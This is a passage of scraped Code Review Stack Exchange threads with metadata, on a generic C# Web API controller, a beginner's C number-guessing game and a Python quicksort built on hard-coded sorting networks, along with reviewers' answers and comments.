{ get; set; } public int? Create_User { get; set; } public DateTime? Create_Date { get; set; } public int? Last_Update_User { get; set; } public DateTime? Last_Update_Date { get; set; } } </code></pre> <p>And inherit it in all of the entities sharing the same fields:</p> <pre><code>public partial class Education_Stages : BaseEntity { } </code></pre> <p>And then create a base class for the API controllers to inherit from as follows, and here's where I can't find any more solutions for what I want:</p> <pre><code>public abstract class BaseApiVerbs&lt;T&gt; : ApiController where T : BaseEntity { private DbSet&lt;T&gt; dbSet; public BaseApiVerbs(DbSet&lt;T&gt; _dbSet) { dbSet = _dbSet; } public HttpResponseMessage Get() { try { return Request.CreateResponse(HttpStatusCode.OK, dbSet.Where(t =&gt; t.Is_Delete == false)); } catch (Exception e) { return Request.CreateErrorResponse(HttpStatusCode.BadRequest, e); } } public HttpResponseMessage Post([FromBody] T entity) { // No Idea how to implement the same logic here without using DbContext... } </code></pre> <p>Furthermore, I don't know how to initialize the controllers' classes and pass the <code>DbSet</code> object accordingly:</p> <pre><code>public class CityController : BaseApiVerbs&lt;City&gt; { SchoolDbContext context = new SchoolDbContext(); public CityController() : base( /* How would I pass the DbSet object here? */ ) { } } </code></pre> <p>Is the idea of copying and pasting the code acceptable in this case? If not, how can I accomplish what I've been trying to do for the past two days?</p> <p>I am a beginner so please don't be harsh in your replies if you found anything smelly in my code, kindly note it for me :)</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T08:10:39.487", "Id": "508640", "Score": "0", "body": "Do I understand correctly that the refactored version is not complete?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-25T11:24:33.177", "Id": "508947", "Score": "0", "body": "A good start would be to go use dependency injection. If this is .net core, a DI framework is readily available." } ]
[ { "body": "<p>Honestly, don't try to invent new ways of doing things and instead learn well-documented ways of doing things, like <a href=\"https://github.com/jbogard/MediatR\" rel=\"nofollow noreferrer\">MediatR</a> and <a href=\"https://www.c-sharpcorner.com/article/using-mediator-in-web-apis-for-cqrs-pattern/\" rel=\"nofollow noreferrer\">CQRS</a>.</p>\n<p>Please follow the Microsoft guidelines when naming things: only alphanumeric characters are allowed in property names, class names etc. (exception is the underscore at the start of a private member variable).</p>\n<p>Use readable names. <code>Ar_Name</code> and <code>En_Name</code> are meaningless. <code>Create_User</code> and the likes are names of methods, not properties.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T07:43:40.660", "Id": "257508", "ParentId": "257479", "Score": "0" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T17:27:06.177", "Id": "257479", "Score": "0", "Tags": [ "c#", "mvc", "generics", "entity-framework", "asp.net-web-api" ], "Title": "Making a generic web API controller when using multiple tables with similar fields" }
257479
<p>This is my first program in C. Do you have any improvements to this program? The program allows you to guess a number and also returns the attempts.</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;conio.h&gt; #include &lt;time.h&gt; /* * Sophie * 21.03.2021 */ void main() { int secret; int guess; int try = 1; time_t t; srand((unsigned ) time(&amp;t)); secret = rand() % 100+1; printf(&quot;Please Enter value:\n&quot;); scanf(&quot;%i&quot;, &amp;guess); while (guess != secret){ if (guess &gt; secret) printf(&quot;Guess too high. \n&quot;); else printf(&quot;Guess too low. \n&quot;); printf(&quot;Please enter a new value:\n&quot;); scanf(&quot;%i&quot;, &amp;guess); try++; } printf(&quot;You gussed the number! \n&quot;); printf(&quot;You needed %i Tries.&quot;, try); getch(); } </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T14:25:56.010", "Id": "508671", "Score": "0", "body": "This is a great program to learn with!  The first program I ever wrote — in BASIC on a borrowed [Video Genie](https://en.wikipedia.org/wiki/Video_Genie), no less — was a guessing game.  Though after all this time I can't remember whether the computer picked the number and the human had to guess it (as here), or vice versa…  Both are good, so once you're happy with one, try the other!" } ]
[ { "body": "<p>It looks good for a first program in C, good job.</p>\n<p>An improvement would be to ask the user to insert a number which will be the maximum number to guess (instead of the default 100 value).</p>\n<p>You also could change the <code>try</code> variable name to <code>tries</code>.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T14:33:20.163", "Id": "508673", "Score": "0", "body": "I think there are arguments both for `try` (which makes more sense within the loop) and `tries` (which reads better below it).  (I might pick `tries` myself, but probably from my experience in languages like Java and Kotlin where `try` is a keyword, which obviously doesn't apply here!)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T14:39:59.143", "Id": "508675", "Score": "0", "body": "That's right.\n\n\"attempts\" could also be a great name for this variable." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T19:11:29.720", "Id": "257484", "ParentId": "257481", "Score": "3" } }, { "body": "<ul>\n<li><p><code>void main</code> is a really bad habit. It <em>must</em> be <code>int main</code>.</p>\n</li>\n<li><p>Always check what <code>scanf</code> returns. For example, try to enter a non-numeric input, and see your program entering the infinite loop.</p>\n</li>\n<li><p>Avoid <code>conio.h</code> (and hence <code>getch</code>). It is very non-portable.</p>\n</li>\n</ul>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T17:42:48.730", "Id": "508693", "Score": "1", "body": "It could be worth mentioning why is `void main` a bad habit. I don't think it's good to tell someone that something is bad, without telling why. (I believe the reason is because it is not valid C code, altho some compilers will ignore it and still compile it, but i might be wrong.)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T21:39:47.507", "Id": "508709", "Score": "0", "body": "Yes, the C standard mandates that main() returns an int. Moreover, the program needs to return a status code to the operating system, and this return value is how you do it. (Sometimes embedded systems don't have an operating system to return to, but usually they will either specify a different function to use or else they will still use int main() even though the return value is meaningless.)" } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T20:17:34.427", "Id": "257488", "ParentId": "257481", "Score": "15" } }, { "body": "<p>I also liked the program - it did not compile, but that was easy to fix - what are <code>&lt;conio&gt;</code> and <code>getch()</code>?</p>\n<p>I enjoyed a game or two, until I wondered if it was 0-99 or 1-100. The spacing of <code> % 100+1</code> was a bit misleading.</p>\n<p>I simplified the <code>time()</code> call.</p>\n<p>Then I wondered why there are two <code>scanf()</code> calls. The input messages are different (please enter / please enter NEW), but the input itself is the same. So I ended up with <code>while(scanf() &gt; 0)</code>.</p>\n<p>It is not so clear what to put in that while condition. Also what to do with invalid input. My version stops and prints the number of tries.</p>\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;time.h&gt;\n/* modified number guessing game, with while(scanf()) loop */\n/* original by Sophie 21.03.2021 */\n\nvoid main() {\n int secret, guess;\n int try = 0;\n srand(time(NULL));\n secret = rand() % 100 + 1;\n\n printf(&quot;Please enter first guess (1-100):\\n&quot;);\n\n while (scanf(&quot;%i&quot;, &amp;guess) &gt; 0) {\n try++;\n if (guess == secret) {\n printf(&quot;You guessed the number!\\n&quot;);\n break;\n }\n if (guess &gt; secret)\n printf(&quot;Guess too high. &quot;);\n else\n printf(&quot;Guess too low. &quot;);\n\n printf(&quot;Please enter a new value:\\n&quot;);\n }\n\n printf(&quot;You tried %i times.\\n&quot;, try);\n}\n</code></pre>\n<p>I am afraid you have to sacrifice that nice</p>\n<pre><code>while (guess != secret) {\n</code></pre>\n<p>and concentrate more on the scanf() <em>return</em>.</p>\n<p>(Well with that negation <code>!=</code> it wasn't even that great - more like &quot;trapped in eternal loop as long as guess is wrong&quot;)</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T10:47:36.733", "Id": "508647", "Score": "2", "body": "*The spacing of `% 100+1` was a bit misleading* don't fix that with spaces, use braces: `secret = (rand() % 100) + 1`;" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T14:30:02.953", "Id": "508672", "Score": "0", "body": "@PaulEvans I'd call those brackets, round brackets, parentheses, or parens; braces are curly brackets — `{` and `}` — and have a very different meaning in most programming languages!  But yes, whatever you call them, they're useful for clarifying precedence.  This case is a bit subjective; I'd consider `%` similar enough to division that the precedence was already obvious — but if it's not obvious to you, by all means use brackets." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T14:43:04.713", "Id": "508676", "Score": "0", "body": "Your version still doesn't compile (error: invalid prototype for main function)." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T16:04:00.433", "Id": "508684", "Score": "0", "body": "@gidds I should have looked it up and used *parentheses*, *round brackets*, or *first brackets* but I think the idea is clearly conveyed by the example. And don't *consider % similar enough to division that the precedence was already obvious* **use parentheses** to make your code **totally clear**! Be kind to your readers and to your future self, make reading your code as easy as possible." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T20:46:13.730", "Id": "508701", "Score": "0", "body": "@gidds \"I'd consider % similar enough to division that the precedence was already obvious.\" Obvious what the precedence is or obvious what precedence the previous coder intended?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T21:34:47.600", "Id": "508707", "Score": "0", "body": "The getch() at the end is used to implement \"Press any key to continue\", and that function is declared in conio.h (console I/O). It's a common Windows-ism because, if you launch a console program from the GUI, it will probably close the window when the program terminates, without giving you a chance to read the output." } ], "meta_data": { "CommentCount": "6", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T20:32:17.113", "Id": "257489", "ParentId": "257481", "Score": "4" } } ]
{ "AcceptedAnswerId": "257489", "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T18:18:06.427", "Id": "257481", "Score": "12", "Tags": [ "beginner", "c", "number-guessing-game" ], "Title": "\"Guess the Number\" in C" }
257481
<p>I have made a sorting algorithm in Python 3. This sorting algorithm is a modified optimized <em>median of 3 quicksort</em>, with <em>network sorting</em> for lists of size up to 16 and for finding the median. I have tried using the O(N) approach to finding the median, but sorting normally was faster.<br /> Can I get some advice on how to make this faster?<br /> Also, can anyone link fast sorting algorithms? I want to compare them to mine and see if there are faster, and if they are, how I can improve mine. The first like 1000 lines is the network sorting (I made a program to automatically generate code for the network sorting, I am not a madman), and the final 20ish is testing how fast it is. On my laptop, it sorts 100,000 random numbers in about <strong>0.192</strong> seconds and 1,000,000 random numbers in about <strong>2.754</strong> seconds. (Note that python's time is not 100% accurate. I used multiple tests and found the average.)</p> <p>I have compared my code to mergesort, heapsort, other quicksorts, timsort, and radix sort, but none of them seem to be close to beating my code. However, that is likely because they were from how-to sites, and were not optimized. Sadly, most people who care about having a quick sorting algorithm seem to write it in Java, C or C++ which I can't really compare. So, I would appreciate any other optimized sorting algorithms, or even suggestions to my original code.</p> <pre><code>#importing import math import random import time #this is the sorting network (scroll a bunch, this is like 1000 lines) def sorting_network(lst): l = len(lst) if l &lt; 9: if l &lt; 5: if l &lt; 3: if not l or l == 1: return lst else: a = lst[0] b = lst[1] if a &gt; b: a, b = b, a return [a, b] else: if l == 3: a = lst[0] b = lst[1] c = lst[2] if a &gt; b: a, b = b, a if b &gt; c: b, c = c, b if a &gt; b: a, b = b, a return [a, b, c] else: a = lst[0] b = lst[1] c = lst[2] d = lst[3] if a &gt; b: a, b = b, a if c &gt; d: c, d = d, c if a &gt; c: a, c = c, a if b &gt; d: b, d = d, b if b &gt; c: b, c = c, b return [a, b, c, d] else: if l &lt; 7: if l == 5: a = lst[0] b = lst[1] c = lst[2] d = lst[3] e = lst[4] if a &gt; d: a, d = d, a if b &gt; e: b, e = e, b if a &gt; b: a, b = b, a if c &gt; e: c, e = e, c if b &gt; c: b, c = c, b if d &gt; e: d, e = e, d if c &gt; d: c, d = d, c return [a, b, c, d, e] else: a = lst[0] b = lst[1] c = lst[2] d = lst[3] e = lst[4] f = lst[5] if a &gt; f: a, f = f, a if b &gt; d: b, d = d, b if c &gt; e: c, e = e, c if b &gt; c: b, c = c, b if d &gt; e: d, e = e, d if a &gt; d: a, d = d, a if c &gt; f: c, f = f, c if a &gt; b: a, b = b, a if c &gt; d: c, d = d, c if e &gt; f: e, f = f, e if b &gt; c: b, c = c, b if d &gt; e: d, e = e, d return [a, b, c, d, e, f] else: if l == 7: a = lst[0] b = lst[1] c = lst[2] d = lst[3] e = lst[4] f = lst[5] g = lst[6] if a &gt; b: a, b = a, b if c &gt; d: c, d = d, c if e &gt; f: e, f = f, e if a &gt; c: a, c = c, a if b &gt; e: b, e = e, b if d &gt; g: d, g = g, d if a &gt; b: a, b = b, a if c &gt; f: c, f = f, c if d &gt; e: d, e = e, d if b &gt; c: b, c = c, b if e &gt; g: e, g = g, e if c &gt; d: c, d = d, c if e &gt; f: e, f = f, e if b &gt; c: b, c = c, b if d &gt; e: d, e = e, d if f &gt; g: f, g = g, f return [a, b, c, d, e, f, g] else: a = lst[0] b = lst[1] c = lst[2] d = lst[3] e = lst[4] f = lst[5] g = lst[6] h = lst[7] if a &gt; c: a, c = c, a if b &gt; d: b, d = d, b if e &gt; g: e, g = g, e if f &gt; h: f, h = h, f if a &gt; e: a, e = e, a if b &gt; f: b, f = f, b if c &gt; g: c, g = g, c if d &gt; h: d, h = h, d if a &gt; b: a, b = b, a if c &gt; d: c, d = d, c if e &gt; f: e, f = f, e if g &gt; h: g, h = h, g if c &gt; e: c, e = e, c if d &gt; f: d, f = f, d if b &gt; e: b, e = e, b if d &gt; g: d, g = g, d if b &gt; c: b, c = c, b if d &gt; e: d, e = e, d if f &gt; g: f, g = g, f return [a, b, c, d, e, f, g, h] else: if l &lt; 13: if l &lt; 11: if l == 9: a = lst[0] b = lst[1] c = lst[2] d = lst[3] e = lst[4] f = lst[5] g = lst[6] h = lst[7] i = lst[8] if a &gt; d: a, d = d, a if b &gt; h: b, h = h, b if c &gt; f: c, f = f, c if e &gt; i: e, i = i, e if a &gt; h: a, h = h, a if c &gt; e: c, e = e, c if d &gt; i: d, i = i, d if f &gt; g: f, g = g, f if a &gt; c: a, c = c, a if b &gt; d: b, d = d, b if e &gt; f: e, f = f, e if h &gt; i: h, i = i, h if b &gt; e: b, e = e, b if d &gt; g: d, g = g, d if f &gt; h: f, h = h, f if a &gt; b: a, b = b, a if c &gt; e: c, e = e, c if d &gt; f: d, f = f, d if g &gt; i: g, i = i, g if c &gt; d: c, d = d, c if e &gt; f: e, f = f, e if g &gt; h: g, h = h, g if b &gt; c: b, c = c, b if d &gt; e: d, e = e, d if f &gt; g: f, g = g, f return [a, b, c, d, e, f, g, h, i] else: a = lst[0] b = lst[1] c = lst[2] d = lst[3] e = lst[4] f = lst[5] g = lst[6] h = lst[7] i = lst[8] j = lst[9] if a &gt; i: a, i = i, a if b &gt; j: b, j = j, b if c &gt; h: c, h = h, c if d &gt; f: d, f = f, d if e &gt; g: e, g = g, e if a &gt; c: a, c = c, a if b &gt; e: b, e = e, b if f &gt; i: f, i = i, f if h &gt; j: h, j = j, h if a &gt; d: a, d = d, a if c &gt; e: c, e = e, c if f &gt; h: f, h = h, f if g &gt; j: g, j = j, g if a &gt; b: a, b = b, a if d &gt; g: d, g = g, d if i &gt; j: i, j = j, i if b &gt; f: b, f = f, b if c &gt; d: c, d = d, c if e &gt; i: e, i = i, e if g &gt; h: g, h = h, g if b &gt; c: b, c = c, b if d &gt; f: d, f = f, d if e &gt; g: e, g = g, e if h &gt; i: h, i = i, h if c &gt; d: c, d = d, c if e &gt; f: e, f = f, e if g &gt; h: g, h = h, g if d &gt; e: d, e = e, d if f &gt; g: f, g = g, f return [a, b, c, d, e, f, g, h, i, j] else: if l == 11: a = lst[0] b = lst[1] c = lst[2] d = lst[3] e = lst[4] f = lst[5] g = lst[6] h = lst[7] i = lst[8] j = lst[9] k = lst[10] if b &gt; g: b, g = g, b if c &gt; e: c, e = e, c if d &gt; h: d, h = h, d if f &gt; i: f, i = i, f if a &gt; b: a, b = b, a if d &gt; f: d, f = f, d if e &gt; k: e, k = k, e if g &gt; j: g, j = j, g if h &gt; i: h, i = i, h if b &gt; d: b, d = d, b if c &gt; f: c, f = f, c if e &gt; h: e, h = h, e if i &gt; k: i, k = k, i if a &gt; e: a, e = e, a if b &gt; c: b, c = c, b if d &gt; h: d, h = h, d if f &gt; j: f, j = j, f if g &gt; i: g, i = i, g if a &gt; b: a, b = b, a if c &gt; g: c, g = g, c if e &gt; f: e, f = f, e if h &gt; i: h, i = i, h if j &gt; k: j, k = k, j if c &gt; e: c, e = e, c if d &gt; g: d, g = g, d if f &gt; h: f, h = h, f if i &gt; j: i, j = j, i if b &gt; c: b, c = c, b if d &gt; e: d, e = e, d if f &gt; g: f, g = g, f if h &gt; i: h, i = i, h if c &gt; d: c, d = d, c if e &gt; f: e, f = f, e if g &gt; h: g, h = h, g return [a, b, c, d, e, f, g, h, i, j, k] else: a = lst[0] b = lst[1] c = lst[2] d = lst[3] e = lst[4] f = lst[5] g = lst[6] h = lst[7] i = lst[8] j = lst[9] k = lst[10] l = lst[11] if b &gt; h: b, h = h, b if c &gt; g: c, g = g, c if d &gt; l: d, l = l, d if e &gt; k: e, k = k, e if f &gt; j: f, j = j, f if a &gt; b: a, b = b, a if c &gt; f: c, f = f, c if d &gt; e: d, e = e, d if g &gt; j: g, j = j, g if h &gt; i: h, i = i, h if k &gt; l: k, l = l, k if a &gt; c: a, c = c, a if b &gt; g: b, g = g, b if f &gt; k: f, k = k, f if j &gt; l: j, l = l, j if a &gt; d: a, d = d, a if b &gt; c: b, c = c, b if e &gt; g: e, g = g, e if f &gt; h: f, h = h, f if i &gt; l: i, l = l, i if j &gt; k: j, k = k, j if b &gt; e: b, e = e, b if d &gt; f: d, f = f, d if g &gt; i: g, i = i, g if h &gt; k: h, k = k, h if b &gt; d: b, d = d, b if c &gt; f: c, f = f, c if g &gt; j: g, j = j, g if i &gt; k: i, k = k, i if c &gt; d: c, d = d, c if e &gt; f: e, f = f, e if g &gt; h: g, h = h, g if i &gt; j: i, j = j, i if e &gt; g: e, g = g, e if f &gt; h: f, h = h, f if d &gt; e: d, e = e, d if f &gt; g: f, g = g, f if h &gt; i: h, i = i, h return [a, b, c, d, e, f, g, h, i, k, l] else: if l &lt; 15: if l == 13: a = lst[0] b = lst[1] c = lst[2] d = lst[3] e = lst[4] f = lst[5] g = lst[6] h = lst[7] i = lst[8] j = lst[9] k = lst[10] l = lst[11] m = lst[12] if a &gt; m: a, m = m, a if b &gt; k: b, k = k, b if c &gt; j: c, j = j, c if d &gt; h: d, h = h, d if f &gt; l: f, l = l, f if g &gt; i: g, i = i, g if b &gt; g: b, g = g, b if c &gt; d: c, d = d, c if e &gt; l: e, l = l, e if h &gt; j: h, j = j, h if i &gt; k: i, k = k, i if a &gt; e: a, e = e, a if b &gt; c: b, c = c, b if d &gt; g: d, g = g, d if h &gt; i: h, i = i, h if j &gt; k: j, k = k, j if l &gt; m: l, m = m, l if e &gt; g: e, g = g, e if f &gt; j: f, j = j, f if i &gt; l: i, l = l, i if k &gt; m: k, m = m, k if a &gt; f: a, f = f, a if d &gt; i: d, i = i, d if e &gt; h: e, h = h, e if g &gt; l: g, l = l, g if j &gt; k: j, k = k, j if a &gt; b: a, b = b, a if c &gt; f: c, f = f, c if g &gt; j: g, j = j, g if h &gt; i: h, i = i, h if k &gt; l: k, l = l, k if b &gt; d: b, d = d, b if c &gt; e: c, e = e, c if f &gt; g: f, g = g, f if j &gt; k: j, k = k, j if b &gt; c: b, c = c, b if d &gt; e: d, e = e, d if f &gt; h: f, h = h, f if g &gt; i: g, i = i, g if c &gt; d: c, d = d, c if e &gt; f: e, f = f, e if g &gt; h: g, h = h, g if i &gt; j: i, j = j, i if d &gt; e: d, e = e, d if f &gt; g: f, g = g, f return [a, b, c, d, e, f, g, h, i, j, k, l, m] else: a = lst[0] b = lst[1] c = lst[2] d = lst[3] e = lst[4] f = lst[5] g = lst[6] h = lst[7] i = lst[8] j = lst[9] k = lst[10] l = lst[11] m = lst[12] n = lst[13] if a &gt; g: a, g = g, a if b &gt; l: b, l = l, b if c &gt; m: c, m = m, c if d &gt; k: d, k = k, d if e &gt; f: e, f = f, e if h &gt; n: h, n = n, h if i &gt; j: i, j = j, i if b &gt; c: b, c = c, b if d &gt; h: d, h = h, d if e &gt; i: e, i = i, e if f &gt; j: f, j = j, f if g &gt; k: g, k = k, g if l &gt; m: l, m = m, l if a &gt; e: a, e = e, a if b &gt; d: b, d = d, b if f &gt; g: f, g = g, f if h &gt; i: h, i = i, h if j &gt; n: j, n = n, j if k &gt; m: k, m = m, k if a &gt; b: a, b = b, a if c &gt; j: c, j = j, c if d &gt; h: d, h = h, d if e &gt; l: e, l = l, e if g &gt; k: g, k = k, g if m &gt; n: m, n = n, m if c &gt; f: c, f = f, c if e &gt; h: e, h = h, e if g &gt; j: g, j = j, g if i &gt; l: i, l = l, i if b &gt; c: b, c = c, b if d &gt; e: d, e = e, d if g &gt; h: g, h = h, g if j &gt; k: j, k = k, j if l &gt; m: l, m = m, l if b &gt; d: b, d = d, b if c &gt; e: c, e = e, c if f &gt; g: f, g = g, f if h &gt; i: h, i = i, h if j &gt; l: j, l = l, j if k &gt; m: k, m = m, k if c &gt; d: c, d = d, c if e &gt; h: e, h = h, e if g &gt; j: g, j = j, g if k &gt; l: k, l = l, k if e &gt; f: e, f = f, e if g &gt; h: g, h = h, g if i &gt; j: i, j = j, i if d &gt; e: d, e = e, d if f &gt; g: f, g = g, f if h &gt; i: h, i = i, h if j &gt; k: j, k = k, j return [a, b, c, d, e, f, g, h, i, j, k, l, m, n] else: if l == 15: a = lst[0] b = lst[1] c = lst[2] d = lst[3] e = lst[4] f = lst[5] g = lst[6] h = lst[7] i = lst[8] j = lst[9] k = lst[10] l = lst[11] m = lst[12] n = lst[13] o = lst[14] if b &gt; c: b, c = c, b if d &gt; k: d, k = k, d if e &gt; o: e, o = o, e if f &gt; i: f, i = i, f if g &gt; n: g, n = n, g if h &gt; m: h, m = m, h if j &gt; l: j, l = l, j if a &gt; o: a, o = o, a if b &gt; f: b, f = f, b if c &gt; i: c, i = i, c if d &gt; h: d, h = h, d if g &gt; j: g, j = j, g if k &gt; m: k, m = m, k if l &gt; n: l, n = n, l if a &gt; h: a, h = h, a if b &gt; g: b, g = g, b if c &gt; j: c, j = j, c if e &gt; k: e, k = k, e if f &gt; l: f, l = l, f if i &gt; n: i, n = n, i if m &gt; o: m, o = o, m if a &gt; g: a, g = g, a if c &gt; e: c, e = e, c if d &gt; f: d, f = f, d if h &gt; l: h, l = l, h if i &gt; k: i, k = k, i if j &gt; m: j, m = m, j if n &gt; o: n, o = o, n if a &gt; d: a, d = d, a if b &gt; c: b, c = c, b if e &gt; h: e, h = h, e if f &gt; j: f, j = j, f if g &gt; i: g, i = i, g if k &gt; l: k, l = l, k if m &gt; n: m, n = n, m if a &gt; b: a, b = b, a if c &gt; d: c, d = d, c if e &gt; g: e, g = g, e if h &gt; j: h, j = j, h if k &gt; m: k, m = m, k if l &gt; n: l, n = n, l if b &gt; c: b, c = c, b if d &gt; f: d, f = f, d if i &gt; k: i, k = k, i if l &gt; m: l, m = m, l if d &gt; e: d, e = e, d if f &gt; g: f, g = g, f if h &gt; i: h, i = i, h if j &gt; k: j, k = k, j if c &gt; d: c, d = d, c if e &gt; f: e, f = f, e if g &gt; h: g, h = h, g if i &gt; j: i, j = j, i if k &gt; l: k, l = l, k if f &gt; g: f, g = g, f if h &gt; i: h, i = i, h return [a, b, c, d, e, f, g, h, i, j, k, l, m, n, o] else: a = lst[0] b = lst[1] c = lst[2] d = lst[3] e = lst[4] f = lst[5] g = lst[6] h = lst[7] i = lst[8] j = lst[9] k = lst[10] l = lst[11] m = lst[12] n = lst[13] o = lst[14] p = lst[15] if a &gt; n: a, n = n, a if b &gt; m: b, m = m, b if c &gt; p: c, p = p, c if d &gt; o: d, o = o, d if e &gt; i: e, i = i, e if f &gt; g: f, g = g, f if h &gt; l: h, l = l, h if j &gt; k: j, k = k, j if a &gt; f: a, f = f, a if b &gt; h: b, h = h, b if c &gt; j: c, j = j, c if d &gt; e: d, e = e, d if g &gt; n: g, n = n, g if i &gt; o: i, o = o, i if k &gt; p: k, p = p, k if l &gt; m: l, m = m, l if a &gt; b: a, b = b, a if c &gt; d: c, d = d, c if e &gt; f: e, f = f, e if g &gt; i: g, i = i, g if h &gt; j: h, j = j, h if k &gt; l: k, l = l, k if m &gt; n: m, n = n, m if o &gt; p: o, p = p, o if a &gt; c: a, c = c, a if b &gt; d: b, d = d, b if e &gt; k: e, k = k, e if f &gt; l: f, l = l, f if g &gt; h: g, h = h, g if i &gt; j: i, j = j, i if m &gt; o: m, o = o, m if n &gt; p: n, p = p, n if b &gt; c: b, c = c, b if d &gt; m: d, m = m, d if e &gt; g: e, g = g, e if f &gt; h: f, h = h, f if i &gt; k: i, k = k, i if j &gt; l: j, l = l, j if n &gt; o: n, o = o, n if b &gt; e: b, e = e, b if c &gt; g: c, g = g, c if f &gt; i: f, i = i, f if h &gt; k: h, k = k, h if j &gt; n: j, n = n, j if l &gt; o: l, o = o, l if c &gt; e: c, e = e, c if d &gt; g: d, g = g, d if j &gt; m: j, m = m, j if l &gt; n: l, n = n, l if d &gt; f: d, f = f, d if g &gt; i: g, i = i, g if h &gt; j: h, j = j, h if k &gt; m: k, m = m, k if d &gt; e: d, e = e, d if f &gt; g: f, g = g, f if h &gt; i: h, i = i, h if j &gt; k: j, k = k, j if l &gt; m: l, m = m, l if g &gt; h: g, h = h, g if i &gt; j: i, j = j, i return [a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p] #and this is the quicksort algorithm! def swiftsort(lst): l = len(lst) if l &lt; 17: return sorting_network(lst) elif l &lt; 128: a = lst[0] b = lst[l // 2] c = lst[-1] if a &lt;= b &lt;= c or c &lt;= b &lt;= a: split = b elif b &lt;= c &lt;= a or a &lt;= c &lt;= b: split = c else: split = a elif l &lt; 8192: a = [lst[0], lst[l // 8], lst[2 * l // 8], lst[3 * l // 8], lst[4 * l // 8], lst[5 * l // 8], lst[6 * l // 8], lst[7 * l // 8], lst[-1]] split = sorting_network(lst)[4] else: a = [lst[0]] for x in range(1, 32): a.append(lst[x * l // 32]) a.append(lst[-1]) split = swiftsort(a)[16] lst1 = [] lst2 = [] mid = [] for x in lst: if x &lt; split: lst1.append(x) elif x == split: mid.append(x) else: lst2.append(x) return swiftsort(lst1) + mid + swiftsort(lst2) #This is for testing the time of my algorithm. length = 100000 runs = 60 test_list = [random.randint(1, length) for _ in range(length)] t = 0 for _ in range(runs): start = time.time() sort = swiftsort(test_list) end = time.time() t += end - start print(t / runs) </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T22:21:35.740", "Id": "508596", "Score": "0", "body": "Python is not a good choice for benchmarking algorithms, since it is an interpretive language and slow. I would recommend C or C++ compiled with an optimizing compiler." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T22:41:50.117", "Id": "508598", "Score": "0", "body": "Welcome to Code Review@SE. `I have made a sorting algorithm…` I don't think so - you *tried* to implement quicksort, but left out base cases, for starters. Try `print(swiftsort(list('abramccarthybra')))`. (`…made a sorting algorithm in python` conventional wordings include *coded*, *implemented*, *crafted an implementation*.)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T23:10:48.100", "Id": "508603", "Score": "0", "body": "Ok, I have edited my title (is it better now?). Also, I have removed the insertion sort part because I wasn't using it anymore, and added the network sorting from 13-16. It should work now! I'll also try to add comments to the code.\n\nEDIT: I've added a few comments to seperate my code out." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T23:38:57.180", "Id": "508610", "Score": "0", "body": "I do find the title much improved. Remaining issue with it: There's little need to repeat tags. `I have removed the insertion sort part` funny - I thought the \"almost median of 32\" uses it." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T23:45:06.147", "Id": "508612", "Score": "0", "body": "I've changed the insertion sort part to my quicksort algorithm itself because it was faster. Also, I've edited my post." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T10:20:59.970", "Id": "508645", "Score": "0", "body": "`[quicksort] in Java, C or C++ which I can't really compare` You could start with [Python implementations of quicksort reviewed here](https://codereview.stackexchange.com/questions/tagged/quick-sort+python) - none of which seem to try and use a cheaper algorithm for short sequences." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T08:33:02.197", "Id": "508821", "Score": "0", "body": "`Note that python's time is not 100% accurate` Note that a time accurate to a fraction of a single clock cycle would give different results for multiple runs even with identical starting conditions: multitasking&memory hierarchy, dynamic clock multiplier selection, …. Some of which even apply to *core clock cycles* instead of pico-seconds." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-27T17:55:57.107", "Id": "510193", "Score": "0", "body": "[Morwenn](https://stackexchange.com/users/1446461/morwenn?tab=accounts) on [Optimal fixed-size sequential sorting](https://softwareengineering.stackexchange.com/q/299059)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-31T01:22:35.060", "Id": "510472", "Score": "0", "body": "Are you judging your code against a library \"sort\"? Don't. Python is an \"interpreted\" language. It might be 20 times as slow as the equivalent \"compiled\" code. So you start 20x behind." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-31T01:25:21.720", "Id": "510473", "Score": "0", "body": "Count the number of times you compare two items. If it is no more than N*logN, you are doing as good as a library sort algorithm. If you are taking N*N compare, it's not good. (OK, Quicksort varies between N and N*N, but those extremes come from abnormal cases, such as being in reverse order to start with.)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": 